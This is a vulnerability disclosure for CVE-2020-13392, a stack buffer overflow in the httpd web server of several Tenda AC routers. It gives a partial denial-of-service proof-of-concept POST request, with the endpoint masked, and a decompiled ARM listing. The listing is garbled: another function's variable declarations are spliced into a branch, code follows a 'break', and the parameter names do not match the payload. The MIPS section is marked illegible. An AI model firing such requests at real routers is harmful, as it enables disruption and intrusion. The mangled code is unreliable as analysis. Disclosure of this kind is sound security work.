

CVE-2020-13392: Tenda Vulnerability

Vendor of the products: Tenda

Reported by: Joel

CVE-2020-13392 [CVE details](#)

Affected products:

```

1 AC9 V1.0 V15.03.05.19(6318) CN
2 AC9 V3.0 V15.03.06.42 multi_
3 AC15 V1.0 V15.03.05.19 multi_TD01
4 AC18 V15.03.05.19(6318) CN
5 AC6 V1.0 V15.03.05.19_multi_TD01

```

Overview

An issue was discovered on Tenda AC6 V1.0 V15.03.05.19_multi_TD01, AC9 V1.0 V15.03.05.19(6318), AC9 V3.0 V15.03.06.42_multi, AC15 V1.0 V15.03.05.19_multi_TD01, AC18 V15.03.05.19(6318) devices. There is a buffer overflow vulnerability in the router's web server – httpd. While processing the `funcpara` parameter for a post request, the value is directly used in a `sprintf` to a local variable placed on the stack, which overrides the return address of the function. The attackers can construct a payload to carry out arbitrary code attacks.

POC

This PoC can result in a Dos.

Given the vendor's security, we only provide parts of the HTTP.

```

1 POST /goform/***** HTTP/1.1
2 Host: 192.168.10.131
3 Accept: */*
4 X-Requested-With: XMLHttpRequest
5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS x 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
6 Content-Type: application/x-www-form-urlencoded
7 Accept-Encoding: gzip, deflate
8 Accept-Language: en-US,en;q=0.9
9 Connection: close
10 Content-Type: text/plain
11 Cookie: password=l00sgk
12
13 save=!$mgname!$ifuncname!save_list!datafuncparal=!!!!!!

```

Details

ARM

```

65     }
66 }
67 v17 = (char *)get_param(v2, (int)"funcname", (int)&unk_D0EE8);
68 if ( *v17 )
69 {
70     if ( !strcmp(v17, "save_list_data") )
71     {
72         v18 = get_param(v2, (int)"funcpara1", (int)&unk_D0EE8);
73         v15 = (char *)get_param(v2, (int)"funcpara2", (int)&unk_D0EE8);
74         sub_4E9CC((int)v18, v15, 0x7Eu);
75     }
76     else if ( !strcmp(v17, "LoadDhcpService") )
77     {
78         int result; // r0
79         unsigned __int8 c; // [sp+7h] [bp-160h]
80         char *c_1; // [sp+8h] [bp-16Ch]
81         int v6; // [sp+Ch] [bp-168h]
82         char v7; // [sp+14h] [bp-166h]
83         char v8; // [sp+1Ch] [bp-158h]
84         char s; // [sp+11Ch] [bp-58h]
85         char *v10; // [sp+15Ch] [bp-18h]
86         int v11; // [sp+160h] [bp-14h]
87         char *v12; // [sp+164h] [bp-10h]
88         v6 = 0;
89         c_1 = 0;
90         c = a3;
91         memset(&s, 0, 0x40u);
92         memset(&v8, 0, 0x100u);
93         v11 = 0;
94         if ( strlen(c_1) > 4 )
95         {
96             ++v11;
97             v12 = c_1;
98             while ( 1 )
99             {
100                 v10 = strchr(v12, c);
101                 if ( !v10 )
102                     break;
103                 *v10++ = 0;
104                 memset(&s, 0, 0x40u);
105                 sprintf(&s, "%s.list%d", v6, v11);
106                 SetValue(&s, v12);
107                 v12 = v10;
108                 ++v11;
109             }
110             break;
111             *v10++ = 0;
112             memset(&s, 0, 0x40u);
113             sprintf(&s, "%s.list%d", v6, v11);
114             SetValue(&s, v12);
115             v12 = v10;
116             ++v11;
117         }
118         memset(&s, 0, 0x40u);
119         sprintf(&s, "%s.list%d", v6, v11);
120         SetValue(&s, v12);
121         sprintf(&v7, "%d", v11);
122         sprintf(&s, "%s.listnum", v6);
123         SetValue(&s, &v7);
124         memset(&s, 0, 0x40u);
125         sprintf(&s, "%s.list%d", v6, ++v11);
126         result = GetValue(&s, &v8);
127         while ( v8 )
128         {
129             UnSetValue(&s);
130             memset(&s, 0, 0x40u);
131             memset(&v8, 0, 0x100u);
132             sprintf(&s, "%s.list%d", v6, ++v11);
133             result = GetValue(&s, &v8);
134         }
135     }
136     else
137     {
138         memset(&s, 0, 0x40u);
139         sprintf(&s, "%s.listnum", v6);
140         SetValue(&s, "0");
141         memset(&s, 0, 0x40u);
142         memset(&v8, 0, 0x100u);
143         sprintf(&s, "%s.list%d", v6, ++v11);
144     }
145 }

```

MIPS

[illegible]

Posted by Joel [vulnerability](#)

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GitHub Repos

- joel-malwarebenchmark.github.io

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